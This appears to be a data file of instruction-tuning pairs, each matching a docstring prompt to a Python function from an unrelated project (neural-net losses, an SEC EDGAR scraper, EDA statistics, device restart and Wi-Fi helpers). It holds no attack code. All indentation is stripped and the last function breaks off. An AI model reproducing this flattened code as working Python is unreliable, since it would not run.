[INST] Feedforward behavior of the net.. [/INST] def forward(self, x):
x = x.view(x.shape[0], -1)
x = F.relu(self.fc1(x))
x = F.log_softmax(self.fc2(x), dim=1)
return x
[INST] Print a table of DIF status information to STDOUT.. [/INST] def print_status_table(dif_statuses: List[DIFStatus],
table_format: str) -> None:
rows = []
headers = [
"IP", "DIF Updated", "HW Updated", "DIF Contributor*",
"HW Contributor*", "Functions\nDefined", "Functions\nImplemented",
"Stage"
]
for dif_status in dif_statuses:
hw_last_modified = dif_status.hw_last_modified[:10]
dif_last_modified = dif_status.dif_last_modified[:10]
if dif_status.hw_last_modified > dif_status.dif_last_modified:
hw_last_modified = colored(hw_last_modified, "yellow")
dif_last_modified = colored(dif_last_modified, "yellow")
if dif_status.api_complete:
num_funcs_defined = colored(dif_status.num_functions_defined,
"green")
num_funcs_implemented = colored(
dif_status.num_functions_implemented, "green")
else:
num_funcs_defined = colored(dif_status.num_functions_defined,
"red")
num_funcs_implemented = colored(
dif_status.num_functions_implemented, "red")
rows.append([
dif_status.ip, dif_last_modified, hw_last_modified,
"\n".join(dif_status.dif_main_contributors),
"\n".join(dif_status.hw_main_contributors), num_funcs_defined,
num_funcs_implemented, dif_status.lifecycle_state
])
print("DIF Statuses:")
print(tabulate(rows, headers, tablefmt=table_format))
print("""*Only the top two contributors (by LOC) """
"""for each component are listed.""")
print(colored("Yellow", "yellow"),
"\t= HW has been updated since the DIF.")
print(
colored("Green", "green"),
"""\t= DIF API, as defined in the current header file, is complete. """
"""Note, the header file may lack necessary API functionality.""")
print(colored("Red", "red"),
("\t= DIF API is incomplete, as defined in the header file or the "
"work has not yet begun."))
[INST] Print a table of specific functions names DIF functions to STDOUT.. [/INST] def print_function_set(dif_statuses: List[DIFStatus],
dif_function_type: _DIFFunctionType,
table_format: str) -> None:
if dif_function_type == _DIFFunctionType.ALERT:
print("Alert Functions:")
elif dif_function_type == _DIFFunctionType.IRQ:
print("IRQ Functions:")
elif dif_function_type == _DIFFunctionType.UNIMPLEMENTED:
print("Unimplemented Functions:")
else:
logging.error("Invalid function type to print table.")
sys.exit(1)
rows = []
headers = ["IP", "Function"]
for dif_status in dif_statuses:
if dif_function_type == _DIFFunctionType.ALERT:
if dif_status.alert_funcs:
rows.append([dif_status.ip, "\n".join(dif_status.alert_funcs)])
elif dif_function_type == _DIFFunctionType.IRQ:
if dif_status.irq_funcs:
rows.append([dif_status.ip, "\n".join(dif_status.irq_funcs)])
elif dif_function_type == _DIFFunctionType.UNIMPLEMENTED:
if not dif_status.api_complete:
rows.append(
[dif_status.ip, "\n".join(dif_status.funcs_unimplemented)])
else:
logging.error("Invalid function type to print table.")
sys.exit(1)
print(tabulate(rows, headers, tablefmt=table_format))
[INST] Get all urls for specific company according to CIK that match
start date, end date, filing_type, and count parameters.. [/INST] def _get_urls_for_cik(self, cik, **kwargs):
self.params['CIK'] = cik
links = []
self.params["start"] = 0
while len(links) < self._client.count:
data = self._client.get_soup(self.path, self.params, **kwargs)
links.extend([link.string for link in data.find_all("filinghref")])
self.params["start"] += self._client.count
if len(data.find_all("filinghref")) == 0:
break
txt_urls = [link[:link.rfind("-")] + ".txt" for link in links]
return txt_urls[:self.client.count]
[INST] Save files in specified directory.. [/INST] def save(self, directory):
urls = self.get_urls()
if len(urls) == 0:
raise ValueError("No filings available.")
doc_names = [url.split("/")[-1] for url in urls]
for (url, doc_name) in list(zip(urls, doc_names)):
cik = doc_name.split('-')[0]
data = requests.get(url).text
path = os.path.join(directory, cik, self.filing_type.value)
make_path(path)
path = os.path.join(path, doc_name)
with open(path, "w") as f:
f.write(data)
[INST] Sanitizes date to be in acceptable format for EDGAR.. [/INST] def sanitize_date(date):
if isinstance(date, datetime.datetime):
return date.strftime("%Y%m%d")
elif isinstance(date, str):
if len(date) != 8:
raise TypeError('Date must be of the form YYYYMMDD')
elif isinstance(date, int):
if date < 10 ** 7 or date > 10 ** 8:
raise TypeError('Date must be of the form YYYYMMDD')
return date
[INST] Make directory based on filing info.. [/INST] def make_path(path, **kwargs):
if not os.path.exists(path):
try:
os.makedirs(path, **kwargs)
except OSError as e:
if e.errno != errno.EEXIST:
raise OSError
[INST] Ensures response from EDGAR is valid.. [/INST] def _validate_response(response):
error_messages = ("The value you submitted is not valid",
"No matching Ticker Symbol.",
"No matching CIK.",
"No matching companies.")
if response is None:
raise EDGARQueryError("No response.")
status_code = response.status_code
if 400 <= status_code < 500:
if status_code == 400:
raise EDGARQueryError("The query could not be completed. "
"The page does not exist.")
else:
raise EDGARQueryError("The query could not be completed. "
"There was a client-side error with your "
"request.")
elif 500 <= status_code < 600:
raise EDGARQueryError("The query could not be completed. "
"There was a server-side error with "
"your request.")
elif any(error_message in response.text for error_message in error_messages):
raise EDGARQueryError()
[INST] Get cik for lookup value.. [/INST] def _get_cik(self, lookup):
self._validate_lookup(lookup)
try:
self._params['CIK'] = lookup
soup = self._client.get_soup(self.path, self.params)
except EDGARQueryError:
del self._params['CIK']
self._params['company'] = lookup
soup = self._client.get_soup(self.path, self.params)
try:
span = soup.find('span', {'class': 'companyName'})
return span.find('a').getText().split()[0]
except AttributeError:
warnings.warn("Lookup '{0}' will be skipped. "
"Found multiple companies matching '{0}':".format(lookup))
warnings.warn('\n'.join(self._get_cik_possibilities(soup)))
finally:
if self._params.get('company') is not None:
del self._params['company']
if self._params.get('CIK') is not None:
del self._params['CIK']
[INST] Ensure that lookup is string.. [/INST] def _validate_lookup(lookup):
if not isinstance(lookup, str):
raise TypeError("Lookup value must be string. Given type {0}.".format(type(lookup)))
[INST] Publish PR comment with link to build logs.. [/INST] def publish_pr_comment(self, build):
pr_comment = PR_COMMENT_TEMPLATE.format(
project_name=config.PROJECT_NAME,
commit_id=build.commit_id,
build_status=build.status,
logs_url=build.get_logs_url(),
)
repo = self._get_repo()
LOG.debug('Publishing PR Comment: repo=%s/%s, pr_id=%s, comment=%s',
self._github_owner, self._github_repo, build.get_pr_id(), pr_comment)
repo.get_pull(build.get_pr_id()).create_issue_comment(pr_comment)
[INST] plot 3 histogram of data projecting to difference vector w. [/INST] def exec_c3_1_a(X_a, X_b, init_w):
n_histogram = 3
proj_a = np.zeros((X_a.shape[0], n_histogram))
proj_b = np.zeros((X_b.shape[0], n_histogram))
new_w = np.zeros((init_w.shape[0], n_histogram))
for i in range(n_histogram):
new_w[:, i] = (init_w + np.array(np.random.randn(*init_w.shape))).ravel()
proj_a[:, i] = utils.project_X_onto_w(X_a, new_w[:, i]).ravel()
proj_b[:, i] = utils.project_X_onto_w(X_b, new_w[:, i]).ravel()
plot_data.plt_histogram(proj_a, proj_b, new_w)
[INST] plot probability contours and the optimal projection line. [/INST] def plot_prob_contours(Gaus_dist_a, Gaus_dist_b, with_unbalance=False):
assert(isinstance(Gaus_dist_a, model.GausDS) and isinstance(Gaus_dist_b, model.GausDS))
X_a, X_b = Gaus_dist_a.data, Gaus_dist_b.data
n_a = len(X_a)
n_b = len(X_b)
l_s_scalar_min = -9
l_s_scalar_max = 9
ls_x1 = np.linspace(l_s_scalar_min, l_s_scalar_max, 100)
ls_x2 = np.linspace(l_s_scalar_min, l_s_scalar_max, 100)
mg_x1, mg_x2 = np.meshgrid(ls_x1, ls_x2)
pdf_a = Gaus_dist_a.Gaussian_pdf(mg_x1, mg_x2, 100)
pdf_b = Gaus_dist_b.Gaussian_pdf(mg_x1, mg_x2, 100)
pdf_a = pdf_a * n_a/(n_a+n_b)
pdf_b = pdf_b * n_b/(n_a+n_b)
fig = plt.figure()
ax = fig.add_subplot(111)
ax.axis('equal')
ax.set_title("2 Class Classification")
ax.scatter(X_a[:, 0], X_a[:, 1], marker='.', c='r', label='class a')
ax.scatter(X_b[:, 0], X_b[:, 1], marker='+', c='b', label='class b')
ax.contour(mg_x1, mg_x2, pdf_a, 10)
ax.contour(mg_x1, mg_x2, pdf_b, 10)
log_odds = np.log(pdf_a) - np.log(pdf_b)
list_border = []
for i in range(99):
for j in range(99):
if (log_odds[i][j]*log_odds[i][j+1] < 0) or (log_odds[i][j]*log_odds[i+1][j] < 0) \
or log_odds[i][j] == 0:
list_border.append([i, j])
bd = np.array(list_border)
X1 = np.linspace(l_s_scalar_min, l_s_scalar_max, 100)
Y1 = np.linspace(l_s_scalar_min, l_s_scalar_max, 100)
ax.scatter(X1[bd[:, 0]], Y1[bd[:, 1]], marker='.', s=15, color='brown', label='decision border')
init_w = np.array([1, -2]).reshape(-1, 1)
fs_clf = model.FisherScoreClassifier(X_a, X_b, init_w)
w_star = fs_clf.classify(plot=False)
w_star = np.array(w_star)
xielv = w_star[1]/w_star[0]
x_point = np.linspace(-5, 3, 100)
y_point = x_point * xielv - 4
plt.plot(x_point, y_point, c='g', label='optimal w')
if with_unbalance:
w_star = fs_clf.classify(balanced=False, plot=False)
w_star = np.array(w_star)
xielv = w_star[1]/w_star[0]
x_point = np.linspace(-5, 3, 100)
y_point = x_point * xielv - 4
plt.plot(x_point, y_point, c='purple', label='unbalanced F(w)')
leg = ax.legend(loc='upper right', fancybox=True, fontsize=8)
leg.get_frame().set_alpha(0.5)
plt.show()
[INST] project a list of vectors X onto a vector w. [/INST] def project_X_onto_w(X, v_w):
w_length = np.linalg.norm(v_w)
assert(w_length > 0)
return np.divide((X @ v_w), w_length)
[INST] Signals to the transport that it should stop.. [/INST] async def stop(self):
raise NotImplementedError
[INST] Pushes a message to a channel.. [/INST] async def push(self, event, payload):
msg = await self.socket._send_message(self.topic, event, payload)
return msg
[INST] Classification loss (NLL)
targets dicts must contain the key "labels" containing a tensor of dim [nb_target_boxes]. [/INST] def loss_labels(self, outputs, targets, indices, num_planes, log=True):
assert 'pred_logits' in outputs
src_logits = outputs['pred_logits']
idx = self._get_src_permutation_idx(indices)
target_classes_o = torch.cat([tgt[:, 0][J].long() for tgt, (_, J) in zip (targets, indices)])
target_classes = torch.full(src_logits.shape[:2], self.num_classes, dtype=torch.int64, device=src_logits.device)
target_classes[idx] = target_classes_o
loss_ce = F.cross_entropy(src_logits.transpose(1, 2), target_classes, self.empty_weight.cuda())
losses = {'loss_ce': loss_ce}
if log:
losses['class_error'] = 100 - accuracy(src_logits[idx], target_classes_o)[0]
return losses
[INST] Compute the cardinality error, ie the absolute error in the number of predicted non-empty boxes
This is not really a loss, it is intended for logging purposes only. It doesn't propagate gradients. [/INST] def loss_cardinality(self, outputs, targets, indices, num_planes):
pred_logits = outputs['pred_logits']
device = pred_logits.device
tgt_lengths = torch.as_tensor([tgt.shape[0] for tgt in targets], device=device)
card_pred = (pred_logits.argmax(-1) != pred_logits.shape[-1] - 1).sum(1)
card_err = F.l1_loss(card_pred.float(), tgt_lengths.float())
losses = {'cardinality_error': card_err}
return losses
[INST] Compute the losses related to the bounding boxes, the L1 regression loss and the GIoU loss
targets dicts must contain the key "boxes" containing a tensor of dim [nb_target_boxes, 4]
The target boxes are expected in format (center_x, center_y, h, w), normalized by the image size.. [/INST] def loss_param(self, outputs, targets, indices, num_planes, log=True):
assert 'pred_param' in outputs
idx = self._get_src_permutation_idx(indices)
src_param = outputs['pred_param'][idx]
target_param = torch.cat([tgt[:, 1:4][i] for tgt, (_, i) in zip(targets, indices)], dim=0)
loss_param_l1 = torch.mean(torch.sum(torch.abs(target_param - src_param), dim=1))
similarity = torch.nn.functional.cosine_similarity(src_param, target_param, dim=1)
loss_param_cos = torch.mean(1-similarity)
angle = torch.mean(torch.acos(torch.clamp(similarity, -1, 1)))
losses = {}
losses['loss_param_l1'] = loss_param_l1
losses['loss_param_cos'] = loss_param_cos
if log:
losses['mean_angle'] = angle * 180.0 / np.pi
return losses
[INST] Compute the losses related to the bounding boxes, the L1 regression loss and the GIoU loss
targets dicts must contain the key "boxes" containing a tensor of dim [nb_target_boxes, 4]
The target boxes are expected in format (center_x, center_y, h, w), normalized by the image size.. [/INST] def loss_center(self, outputs, targets, indices, num_planes, log=True):
assert 'pred_center' in outputs
idx = self._get_src_permutation_idx(indices)
src_center = outputs['pred_center'][idx]
target_center = torch.cat([tgt[:, 4:6][i] for tgt, (_, i) in zip(targets, indices)], dim=0)
delta_xy = torch.abs(target_center - src_center)
dist = torch.norm(delta_xy, dim=-1)
loss_center_l2 = torch.mean(dist)
losses = {}
losses['loss_center_instance'] = loss_center_l2
if 'gt_plane_pixel_centers' in outputs.keys():
gt_plane_pixel_centers = outputs['gt_plane_pixel_centers']
pixel_center = outputs['pixel_center']
valid_region = outputs['valid_region']
mask = valid_region > 0
pixel_dist = torch.norm(torch.abs(gt_plane_pixel_centers - pixel_center), dim=1, keepdim=True)
loss_pixel_center = torch.mean(pixel_dist[mask])
losses['loss_center_pixel'] = loss_pixel_center
return losses
[INST] This performs the loss computation.. [/INST] def forward(self, outputs, targets):
outputs_without_aux = {k: v for k, v in outputs.items() if k != 'aux_outputs'}
indices = self.matcher(outputs_without_aux, targets)
num_planes = sum(tgt.shape[0] for tgt in targets)
num_planes = torch.as_tensor([num_planes], dtype=torch.float, device=next(iter(outputs.values())).device)
if is_dist_avail_and_initialized():
torch.distributed.all_reduce(num_planes)
num_planes = torch.clamp(num_planes / get_world_size(), min=1).item()
losses = {}
for loss in self.losses:
losses.update(self.get_loss(loss, outputs, targets, indices, num_planes))
losses_aux = []
if 'aux_outputs' in outputs.keys():
for i, aux_outputs in enumerate(outputs['aux_outputs']):
losses_aux_i = {}
for loss in self.losses:
kwargs = {}
if 'param' in loss or 'Q' in loss or 'depth' in loss:
continue
kwargs = {'log': False}
l_dict = self.get_loss(loss, aux_outputs, targets, indices, num_planes, **kwargs)
losses_aux_i.update(l_dict)
losses_aux.append(losses_aux_i)
return losses, indices, losses_aux
[INST] Randomly sample a batch of experiences from memory.. [/INST] def sample(self, device):
experiences = random.sample(self.memory, k=self.batch_size)
states = torch.from_numpy(np.vstack([e.state for e in experiences if e is not None])).float().to(device)
actions = torch.from_numpy(np.vstack([e.action for e in experiences if e is not None])).long().to(device)
rewards = torch.from_numpy(np.vstack([e.reward for e in experiences if e is not None])).float().to(device)
next_states = torch.from_numpy(np.vstack([e.next_state for e in experiences if e is not None])).float().to(device)
dones = torch.from_numpy(np.vstack([e.done for e in experiences if e is not None]).astype(np.uint8)).float().to(device)
return (states, actions, rewards, next_states, dones)
[INST] Add a new experience to memory.. [/INST] def add(self, state, action, reward, next_state, done):
self.length = min(self.length+1, self.buffer_size)
max_p = self.get_max_p();
self.tree.add(max_p, (state, action, reward, next_state, done))
[INST] Convenience property to retrieve the value tuple as a tuple of
datetime objects.. [/INST] def value_as_datetime(self):
if self.value is None:
return None
v1, v2 = self.value
if isinstance(v1, numbers.Number):
d1 = datetime.utcfromtimestamp(v1 / 1000)
else:
d1 = v1
if isinstance(v2, numbers.Number):
d2 = datetime.utcfromtimestamp(v2 / 1000)
else:
d2 = v2
return d1, d2
[INST] Convenience property to retrieve the value tuple as a tuple of
date objects.. [/INST] def value_as_date(self):
if self.value is None:
return None
v1, v2 = self.value
if isinstance(v1, numbers.Number):
dt = datetime.utcfromtimestamp(v1 / 1000)
d1 = date(*dt.timetuple()[:3])
else:
d1 = v1
if isinstance(v2, numbers.Number):
dt = datetime.utcfromtimestamp(v2 / 1000)
d2 = date(*dt.timetuple()[:3])
else:
d2 = v2
return d1, d2
[INST] Compute functions for plot(df, x)
Parameters
df
DataFrame from which visualizations are generated
x
A column name from the DataFrame
cfg
Config instance
dtype: str or DType or dict of str or dict of DType, default None
Specify Data Types for designated column or all columns.. [/INST] def compute_univariate(
df: Union[dd.DataFrame, pd.DataFrame],
col: Union[str, LatLong],
cfg: Config,
dtype: Optional[DTypeDef],
) -> Intermediate:
new_col_names, ndf = gen_new_df_with_used_cols(df, col, None, None)
x = new_col_names[col]
if x is None:
raise ValueError
frame = EDAFrame(ndf, dtype)
col_dtype = frame.get_eda_dtype(x)
if isinstance(col_dtype, (Nominal, GeoPoint, SmallCardNum)):
srs = frame.get_col_as_str(x)
(data,) = dask.compute(nom_comps(srs, cfg))
return Intermediate(col=x, data=data, visual_type="categorical_column")
elif isinstance(col_dtype, Continuous):
(data,) = dask.compute(cont_comps(frame.frame[x], cfg))
return Intermediate(col=x, data=data, visual_type="numerical_column")
elif isinstance(col_dtype, DateTime):
data_dt: List[Any] = []
data_dt.append(dask.delayed(calc_stats_dt)(frame.frame[x]))
if cfg.line.enable:
data_dt.append(dask.delayed(_calc_line_dt)(frame.frame[[x]], cfg.line.unit))
data, line = dask.compute(*data_dt)
else:
data = dask.compute(*data_dt)[0]
line = []
return Intermediate(
col=x,
data=data,
line=line,
visual_type="datetime_column",
)
elif isinstance(col_dtype, GeoGraphy):
(data,) = dask.compute(nom_comps(frame.frame[x], cfg))
return Intermediate(col=x, data=data, visual_type="geography_column")
else:
raise ValueError(f"unprocessed type. col:{x}, type:{col_dtype}")
[INST] All computations required for plot(df, Nominal). Assume srs is string column.. [/INST] def nom_comps(srs: dd.Series, cfg: Config) -> Dict[str, Any]:
data: Dict[str, Any] = dict()
data["nrows"] = srs.shape[0]
srs = srs.dropna()
grps = srs.value_counts(sort=False)
data["geo"] = grps
data["nuniq"] = grps.shape[0]
if cfg.bar.enable or cfg.pie.enable or cfg.value_table.enable:
data["bar"] = (
grps.nlargest(cfg.bar.bars) if cfg.bar.sort_descending else grps.nsmallest(cfg.bar.bars)
)
if cfg.bar.bars == cfg.pie.slices and cfg.bar.sort_descending == cfg.pie.sort_descending:
data["pie"] = data["bar"]
else:
data["pie"] = (
grps.nlargest(cfg.pie.slices)
if cfg.pie.sort_descending
else grps.nsmallest(cfg.pie.slices)
)
if cfg.bar.bars == cfg.value_table.ngroups and cfg.bar.sort_descending:
data["value_table"] = data["bar"]
elif cfg.pie.slices == cfg.value_table.ngroups and cfg.pie.sort_descending:
data["value_table"] = data["pie"]
else:
data["value_table"] = grps.nlargest(cfg.value_table.ngroups)
if cfg.insight.enable:
data["chisq"] = chisquare(grps.values)
df = grps.reset_index()
if cfg.stats.enable or cfg.value_table.enable:
data.update(_calc_nom_stats(srs, df, data["nrows"], data["nuniq"]))
elif cfg.wordfreq.enable and cfg.insight.enable:
data["len_stats"] = {"Minimum": srs.str.len().min(), "Maximum": srs.str.len().max()}
if cfg.wordlen.enable:
lens = srs.str.len()
data["len_hist"] = da.histogram(lens, cfg.wordlen.bins, (lens.min(), lens.max()))
if cfg.wordcloud.enable or cfg.wordfreq.enable:
if all(
getattr(cfg.wordcloud, att) == getattr(cfg.wordfreq, att)
for att in ("top_words", "stopword", "stem", "lemmatize")
):
word_freqs = _calc_word_freq(
df,
cfg.wordfreq.top_words,
cfg.wordfreq.stopword,
cfg.wordfreq.lemmatize,
cfg.wordfreq.stem,
)
data["word_cnts_cloud"] = word_freqs["word_cnts"]
data["nuniq_words_cloud"] = word_freqs["nuniq_words"]
else:
word_freqs = _calc_word_freq(
df.copy(),
cfg.wordfreq.top_words,
cfg.wordfreq.stopword,
cfg.wordfreq.lemmatize,
cfg.wordfreq.stem,
)
word_freqs_cloud = _calc_word_freq(
df,
cfg.wordcloud.top_words,
cfg.wordcloud.stopword,
cfg.wordcloud.lemmatize,
cfg.wordcloud.stem,
)
data["word_cnts_cloud"] = word_freqs_cloud["word_cnts"]
data["nuniq_words_cloud"] = word_freqs["nuniq_words"]
data["word_cnts_freq"] = word_freqs["word_cnts"]
data["nwords_freq"] = word_freqs["nwords"]
return data
[INST] All computations required for plot(df, Continuous). [/INST] def cont_comps(srs: dd.Series, cfg: Config) -> Dict[str, Any]:
data: Dict[str, Any] = {}
data["nrows"] = srs.shape[0]
srs = srs.dropna()
data["npres"] = srs.shape[0]
srs = srs[~srs.isin({np.inf, -np.inf})]
if cfg.hist.enable or cfg.qqnorm.enable and cfg.insight.enable:
data["hist"] = da.histogram(srs, cfg.hist.bins, (srs.min(), srs.max()))
if cfg.insight.enable:
data["norm"] = normaltest(data["hist"][0])
if cfg.hist.enable and cfg.insight.enable:
data["chisq"] = chisquare(data["hist"][0])
if cfg.qqnorm.enable:
data["qntls"] = srs.quantile(np.linspace(0.01, 0.99, 99))
elif cfg.stats.enable:
data["qntls"] = srs.quantile([0.05, 0.25, 0.5, 0.75, 0.95])
elif cfg.box.enable:
data["qntls"] = srs.quantile([0.25, 0.5, 0.75])
if cfg.stats.enable or cfg.hist.enable and cfg.insight.enable:
data["skew"] = skew(srs)
if cfg.stats.enable or cfg.qqnorm.enable:
data["mean"] = srs.mean()
data["std"] = srs.std()
if cfg.stats.enable:
data["min"] = srs.min()
data["max"] = srs.max()
data["nreals"] = srs.shape[0]
data["nzero"] = (srs == 0).sum()
data["nneg"] = (srs < 0).sum()
data["kurt"] = kurtosis(srs)
data["mem_use"] = srs.memory_usage(deep=True)
if cfg.kde.enable:
if not math.isclose(dask.compute(data["min"])[0], dask.compute(data["max"])[0]):
data["dens"] = da.histogram(srs, cfg.kde.bins, (srs.min(), srs.max()), density=True)
data["kde"] = gaussian_kde(
srs.map_partitions(lambda x: x.sample(min(1000, x.shape[0])), meta=srs)
)
else:
data["kde"] = None
if cfg.box.enable:
data.update(_calc_box(srs, data["qntls"], cfg))
if cfg.value_table.enable:
value_counts = srs.value_counts(sort=False)
data["nuniq"] = value_counts.shape[0]
data["value_table"] = value_counts.nlargest(cfg.value_table.ngroups)
elif cfg.stats.enable:
data["nuniq"] = srs.nunique_approx()
return data
[INST] Parse a categorical column of text data into words, then compute
the frequency distribution of words and the total number of words.. [/INST] def _calc_word_freq(
df: dd.DataFrame,
top_words: int,
stopword: bool,
lemmatize: bool,
stem: bool,
) -> Dict[str, Any]:
col = df.columns[0]
regex = fr"\b(?:{'|'.join(ess)})\b|[^\w+ ]" if stopword else r"[^\w+ ]"
df[col] = df[col].str.replace(regex, "").str.lower().str.split()
df = df.explode(col)
if lemmatize or stem:
df[col] = df[col].dropna()
if lemmatize:
df[col] = df[col].apply(WordNetLemmatizer().lemmatize, meta=object)
if stem:
df[col] = df[col].apply(PorterStemmer().stem, meta=object)
word_cnts = df.groupby(col)[df.columns[1]].sum()
nwords = word_cnts.sum()
nuniq_words = word_cnts.shape[0]
fnl_word_cnts = word_cnts.nlargest(top_words)
return {"word_cnts": fnl_word_cnts, "nwords": nwords, "nuniq_words": nuniq_words}
[INST] Calculate statistics for a nominal column. [/INST] def _calc_nom_stats(
srs: dd.Series,
df: dd.DataFrame,
nrows: int,
nuniq: dd.core.Scalar,
) -> Dict[str, Any]:
stats = {
"nrows": nrows,
"npres": srs.shape[0],
"nuniq": nuniq,
"mem_use": srs.memory_usage(deep=True),
"first_rows": srs.reset_index(drop=True).loc[:4],
}
leng = {
"Mean": srs.str.len().mean(),
"Standard Deviation": srs.str.len().std(),
"Median": srs.str.len().quantile(0.5),
"Minimum": srs.str.len().min(),
"Maximum": srs.str.len().max(),
}
grp, col = df.columns
lc_cnt = (df[grp].str.count(r"[a-z]") * df[col]).sum()
uc_cnt = (df[grp].str.count(r"[A-Z]") * df[col]).sum()
letter = {
"Count": lc_cnt + uc_cnt,
"Lowercase Letter": lc_cnt,
"Space Separator": (df[grp].str.count(r"[ ]") * df[col]).sum(),
"Uppercase Letter": uc_cnt,
"Dash Punctuation": (df[grp].str.count(r"[-]") * df[col]).sum(),
"Decimal Number": (df[grp].str.count(r"[0-9]") * df[col]).sum(),
}
return {"stats": stats, "len_stats": leng, "letter_stats": letter}
[INST] Calculate stats from a datetime column. [/INST] def calc_stats_dt(srs: dd.Series) -> Dict[str, str]:
size = srs.shape[0]
count = srs.count()
try:
uniq_count = srs.nunique_approx()
except:
uniq_count = srs.nunique()
overview_dict = {
"Distinct Count": uniq_count,
"Approximate Unique (%)": uniq_count / count,
"Missing": size - count,
"Missing (%)": 1 - (count / size),
"Memory Size": srs.memory_usage(deep=True),
"Minimum": srs.min(),
"Maximum": srs.max(),
}
return overview_dict
[INST] This function apply clean functions on input dataset.. [/INST] def clean_data() -> Any:
info = request.get_json()
clean_func = info["clean_func"]
col = info["col"]
global index_df
df_cleaned = clean_function_dic[clean_func](index_df, column=col, inplace=True)
df_cleaned = df_cleaned.astype(str)
col_names = df_cleaned.columns.values.tolist()
table_columns = []
for col_name in col_names:
temp_dic = {}
temp_dic["colName"] = col_name
temp_dic["colLabel"] = col_name
temp_dic["colWidth"] = 180
table_columns.append(temp_dic)
transposed_json = df_cleaned.T.to_dict()
table_data = []
for key in transposed_json:
table_data.append(transposed_json[key])
index_df = df_cleaned
return {"tableData": table_data, "tableColumns": table_columns}
[INST] @return return a list containing all the extension of the implemented data structures. [/INST] def extensions_generator():
extensions = []
for dse in impl_data_structure:
ds_source = glob.glob("cy_alg/{}.pyx".format(dse.py_name))
ds_source += glob.glob("c_alg/src/{}.c".format(dse.c_name))
if dse.other_src:
for src in dse.other_src:
ds_source += glob.glob(src)
extension = Extension(
dse.py_name,
sources=ds_source,
include_dirs=inc_dirs,
library_dirs=lib_dirs,
libraries=libs,
)
extensions.append(extension)
return extensions
[INST] Takes a not-yet-processed tweet in the form of [word1, word2, ..., wordn]
Returns a list of manual features adapted from ../resource/2872427.2883062.pdf
length of comment in tokens
average length of word
number of periods, question marks, quotes, and exclamation marks
number of one letter tokens
number of capitalized letters
number of non-alpha characters. [/INST] def extract_manual_features(tweet):
length = len(tweet)
averageWordLength = sum([len(word) for word in tweet])//length
oneLetter = sum([1 for word in tweet if len(word) == 1])
tweet = " ".join(tweet)
punctuationCount = 0
for each in [".","?","\"","\'","!"]:
punctuationCount += tweet.count(each)
capitalized = 0
nonAlpha = 0
for each in tweet:
if each.isupper():
capitalized += 1
if not each.isalpha() and each != " ":
nonAlpha += 1
manual_features = [length, averageWordLength, oneLetter, punctuationCount, capitalized, nonAlpha]
return manual_features
[INST] Takes a file with each line being one word
Returns a list of lowercase word. [/INST] def process_words(words):
wordList = []
for word in words:
wordList.append(word.strip().lower())
return wordList
[INST] Takes a list of processed tweets
Returns a feature matrix
See detailed comments below. [/INST] def generate_matrix(tweets, words):
wordsLentgh = len(words)
featureMatrix = []
for tweet in tweets:
featureVector = [0] * wordsLentgh
for i in range(wordsLentgh):
featureVector[i] = tweet[2].count(words[i])
featureVector.extend(tweet[3])
featureVector.append(tweet[4])
featureMatrix.append(featureVector)
return featureMatrix
[INST] put_object
object storage service file upload. [/INST] def put_object(bucketName, objectName, content):
signer = oci.auth.signers.get_resource_principals_signer()
client = oci.object_storage.ObjectStorageClient(config={}, signer=signer)
namespace = client.get_namespace().data
output=""
try:
object = client.put_object(namespace, bucketName, objectName, content)
output = "Success: Put object '" + objectName + "' in bucket '" + bucketName + "'"
except Exception as e:
output = "Failed: " + str(e.message)
return { "state": output }
[INST] shell_exec
invoke the shell to run a local command. [/INST] def shell_exec(exec_command, exec_count):
p_response = Popen([exec_command],
shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True
)
output, errors = p_response.communicate()
logging.info("Popen Output " + str(exec_count) + ": " + output)
logging.info("Popen Errors " + str(exec_count) + ": " + errors)
return
[INST] Reads from socket until all messages from the list are received
Returns the list of messages read. [/INST] async def read_until(socket, messages):
messages = messages.copy()
res = []
while messages:
data = await socket.receive_json()
res += [data]
if data in messages:
messages.remove(data)
return res
[INST] Set flow rate in uL/mm, to value obtained from command's params,
or if unspecified in command params, then from protocol's "default-values".. [/INST] def _set_flow_rate(
pipette_model, pipette, command_type, params, default_values):
default_aspirate = default_values.get(
'aspirate-flow-rate', {}).get(pipette_model)
default_dispense = default_values.get(
'dispense-flow-rate', {}).get(pipette_model)
flow_rate_param = params.get('flow-rate')
if flow_rate_param is not None:
if command_type == 'aspirate':
pipette.set_flow_rate(
aspirate=flow_rate_param,
dispense=default_dispense)
return
if command_type == 'dispense':
pipette.set_flow_rate(
aspirate=default_aspirate,
dispense=flow_rate_param)
return
pipette.set_flow_rate(
aspirate=default_aspirate,
dispense=default_dispense
)
[INST] This is the (somewhat) synchronous method to use to do a restart.
It actually starts a thread that does the restart. `__wait_and_restart`,
on the other hand, should not be called directly, because it will block
until the system restarts.. [/INST] def do_restart():
Thread(target=__wait_and_restart).start()
[INST] Delay and then execute the restart. Do not call directly.. [/INST] def __wait_and_restart():
log.info('Restarting server')
sleep(1)
loop = asyncio.new_event_loop()
loop.run_until_complete(_resin_supervisor_restart())
[INST] Execute a container restart by requesting it from the supervisor.
Note that failures here are returned but most likely will not be
sent back to the caller, since this is run in a separate workthread.
If the system is not responding, look for these log messages.. [/INST] async def _resin_supervisor_restart():
supervisor = os.environ.get('RESIN_SUPERVISOR_ADDRESS',
'http://127.0.0.1:48484')
restart_url = supervisor + '/v1/restart'
api = os.environ.get('RESIN_SUPERVISOR_API_KEY', 'unknown')
app_id = os.environ.get('RESIN_APP_ID', 'unknown')
async with aiohttp.ClientSession() as session:
async with session.post(restart_url,
params={'apikey': api},
json={'appId': app_id,
'force': True}) as resp:
body = await resp.read()
if resp.status != 202:
log.error("Could not shut down: {}: {}"
.format(resp.status, body))
[INST] Returns OK, then waits approximately 1 second and restarts container. [/INST] async def restart(request):
do_restart()
return web.json_response({"message": "restarting"})
[INST] List the visible (broadcasting SSID) wireless networks.
Returns a list of the SSIDs. They may contain spaces and should be escaped
if later passed to a shell.. [/INST] async def available_ssids():
fields = ['ssid', 'signal', 'active']
cmd = ['--terse',
'--fields',
','.join(fields),
'device',
'wifi',
'list']
out, _ = await _call(cmd)
return _dict_from_terse_tabular(
fields, out,
transformers={'signal': lambda s: int(s) if s.isdigit() else None,
'active': lambda s: s.lower() == 'yes'})
[INST] Return the list of configured connections.
This is all connections that nmcli knows about and manages.
Each connection is a dict containing some basic information - the
information retrievable from nmcli connection show. Further information
should be queried on a connection by connection basis.
If for_type is not None, it should be a str containing an element of
CONNECTION_TYPES, and results will be limited to that connection type.. [/INST] async def connections(for_type=None):
fields = ['name', 'type', 'active']
